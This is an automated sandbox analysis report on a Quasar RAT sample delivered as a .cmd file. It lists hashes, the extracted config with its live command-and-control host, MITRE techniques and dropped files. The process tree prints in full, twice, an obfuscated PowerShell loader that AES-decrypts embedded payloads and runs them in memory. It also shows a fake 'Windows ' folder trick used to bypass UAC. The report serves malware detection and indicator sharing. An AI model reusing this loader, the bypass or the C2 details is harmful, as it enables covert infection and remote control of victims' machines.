quasar | ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848

General

Target

ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd
Size

2.0MB
MD5

a83ac24f3b7291351f52ea99c33b43ca
SHA1

4819de0035af164608341bdab34fe277cc517536
SHA256

ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848
SHA512

af2301759d1037f609b876090eb188f0747ecf7c4d3e5ebd23395389dd23c1398cd123a902d015d47018f1ef686b44908cca3280d86ccc4a1993b7c0388b9551
SSDEEP

24576:r7ftZVfP4Eg45n691f/qE71faFpIx6SXP1nOEunZ8/O2x01+dHepYAk0NkVG7/dp:rdLA9Fi7IxDRK294y7D/h2R

Score

10^/10

quasar office04 defense_evasion execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2100-44-0x0000012B7A360000-0x0000012B7A684000-memory.dmp	family_quasar

Blocklisted process makes network request 4 IoCs

flow	pid	Process
16	2052	powershell.exe
25	2100	powershell.exe
27	2100	powershell.exe
29	2100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe
2100	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3820	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
3820	ComputerDefaults.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2052	powershell.exe
2052	powershell.exe
2100	powershell.exe
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2100	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 228	3004	cmd.exe	84
PID 3004 wrote to memory of 228	3004	cmd.exe	84
PID 3004 wrote to memory of 2052	3004	cmd.exe	85
PID 3004 wrote to memory of 2052	3004	cmd.exe	85
PID 2052 wrote to memory of 4756	2052	powershell.exe	96
PID 2052 wrote to memory of 4756	2052	powershell.exe	96
PID 2052 wrote to memory of 4452	2052	powershell.exe	98
PID 2052 wrote to memory of 4452	2052	powershell.exe	98
PID 4452 wrote to memory of 3820	4452	cmd.exe	100
PID 4452 wrote to memory of 3820	4452	cmd.exe	100
PID 4756 wrote to memory of 4404	4756	cmd.exe	105
PID 4756 wrote to memory of 4404	4756	cmd.exe	105
PID 4756 wrote to memory of 2100	4756	cmd.exe	106
PID 4756 wrote to memory of 2100	4756	cmd.exe	106
PID 2052 wrote to memory of 2428	2052	powershell.exe	113
PID 2052 wrote to memory of 2428	2052	powershell.exe	113

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('byOwlJEq9UaHWPvf8iRQsbA+J/FwJgSUsZSwL1NNg8o='); $aes_var.IV=[System.Convert]::FromBase64String('jlnOHC6q2ppF5ItJ8IOVtA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Yytzc=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$fsmDR=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$DKcCE=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Yytzc, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $DKcCE.CopyTo($fsmDR); $DKcCE.Dispose(); $Yytzc.Dispose(); $fsmDR.Dispose(); $fsmDR.ToArray();}function execute_function($param_var,$param2_var){ IEX '$DfiAV=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$sYTdY=$DfiAV.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$sYTdY.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$hxgif = 'C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd';$host.UI.RawUI.WindowTitle = $hxgif;$qrlCl=[System.IO.File]::ReadAllText($hxgif).Split([Environment]::NewLine);foreach ($SwqTj in $qrlCl) { if ($SwqTj.StartsWith('bRlIVVrKLnBjMLQIZMQv')) { $silSH=$SwqTj.Substring(20); break; }}$payloads_var=[string[]]$silSH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\temp\test.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QbyHvTiQtx89YnRta8IEyPqtyneJjEN3sJ2ZhbHVoLs='); $aes_var.IV=[System.Convert]::FromBase64String('OxX1X2lNZIgN15fz3vySVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$xCITj=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tIajX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FlQAx=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($xCITj, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FlQAx.CopyTo($tIajX); $FlQAx.Dispose(); $xCITj.Dispose(); $tIajX.Dispose(); $tIajX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$GhsFa=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$kwssa=$GhsFa.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwssa.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FFjjS = 'C:\Users\Admin\AppData\Roaming\temp\test.cmd';$host.UI.RawUI.WindowTitle = $FFjjS;$kRRdo=[System.IO.File]::ReadAllText($FFjjS).Split([Environment]::NewLine);foreach ($smNgX in $kRRdo) { if ($smNgX.StartsWith('luZsHxYvUgyKYktkRiik')) { $gnoFR=$smNgX.Substring(20); break; }}$payloads_var=[string[]]$gnoFR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      4⤵
      PID:4404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2100
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3820
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    PID:2428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_11yywao4.d1d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\temp\test.cmd

Filesize
1.6MB

MD5
846debdd4c489b9cdf58cf035011385b

SHA1
edd9486a627bc3f35772e2e79eb7a3aa021569cd

SHA256
113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d

SHA512
c46b02e2a54314bca1695e03196a7041aebe5bede3e857f62e0e634cc2c4ea9ed95d569a73c2b6c935afab5a961a0253ce40988e3c65d9ff33bbaa34a2376f51

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
80KB

MD5
d25a9e160e3b74ef2242023726f15416

SHA1
27a9bb9d7628d442f9b5cf47711c906e3315755b

SHA256
7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

SHA512
bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

Download Submit
C:\Windows \System32\MLANG.dll

Filesize
308KB

MD5
130553ce2e4112cf59f9cfecfb81fe75

SHA1
0ec3164f9d3ee5baab8e3862e1b499941a072e5c

SHA256
1abd799ba4bfee25737243568ae048c0b50f1892b41d7e0f7b3c3af8410babde

SHA512
50b78c5974147aa1c7e9445bc23490e01f1fc9cf7968040ae27216c34b54c09246409bbcf1a1e5e3f25efcb87906a27386175ea6f911a8e87adbb6d3e2781627

Download Submit
memory/2052-31-0x00007FFA13773000-0x00007FFA13775000-memory.dmp

Filesize
8KB

Download
memory/2052-56-0x00007FFA13770000-0x00007FFA14231000-memory.dmp

Filesize
10.8MB

Download
memory/2052-15-0x0000026C74440000-0x0000026C7444C000-memory.dmp

Filesize
48KB

Download
memory/2052-16-0x0000026C76C00000-0x0000026C76D82000-memory.dmp

Filesize
1.5MB

Download
memory/2052-13-0x0000026C76780000-0x0000026C767C4000-memory.dmp

Filesize
272KB

Download
memory/2052-12-0x00007FFA13770000-0x00007FFA14231000-memory.dmp

Filesize
10.8MB

Download
memory/2052-11-0x00007FFA13770000-0x00007FFA14231000-memory.dmp

Filesize
10.8MB

Download
memory/2052-0-0x00007FFA13773000-0x00007FFA13775000-memory.dmp

Filesize
8KB

Download
memory/2052-41-0x00007FFA13770000-0x00007FFA14231000-memory.dmp

Filesize
10.8MB

Download
memory/2052-14-0x0000026C767D0000-0x0000026C76846000-memory.dmp

Filesize
472KB

Download
memory/2052-1-0x0000026C74450000-0x0000026C74472000-memory.dmp

Filesize
136KB

Download
memory/2100-42-0x0000012B79D60000-0x0000012B79D6C000-memory.dmp

Filesize
48KB

Download
memory/2100-45-0x0000012B7AC70000-0x0000012B7ACC0000-memory.dmp

Filesize
320KB

Download
memory/2100-46-0x0000012B7B0E0000-0x0000012B7B192000-memory.dmp

Filesize
712KB

Download
memory/2100-47-0x0000012B7B370000-0x0000012B7B532000-memory.dmp

Filesize
1.8MB

Download
memory/2100-51-0x0000012B7AC50000-0x0000012B7AC62000-memory.dmp

Filesize
72KB

Download
memory/2100-52-0x0000012B7AD00000-0x0000012B7AD3C000-memory.dmp

Filesize
240KB

Download
memory/2100-44-0x0000012B7A360000-0x0000012B7A684000-memory.dmp

Filesize
3.1MB

Download
memory/2100-43-0x0000012B7A230000-0x0000012B7A362000-memory.dmp

Filesize
1.2MB

Download

Analysis

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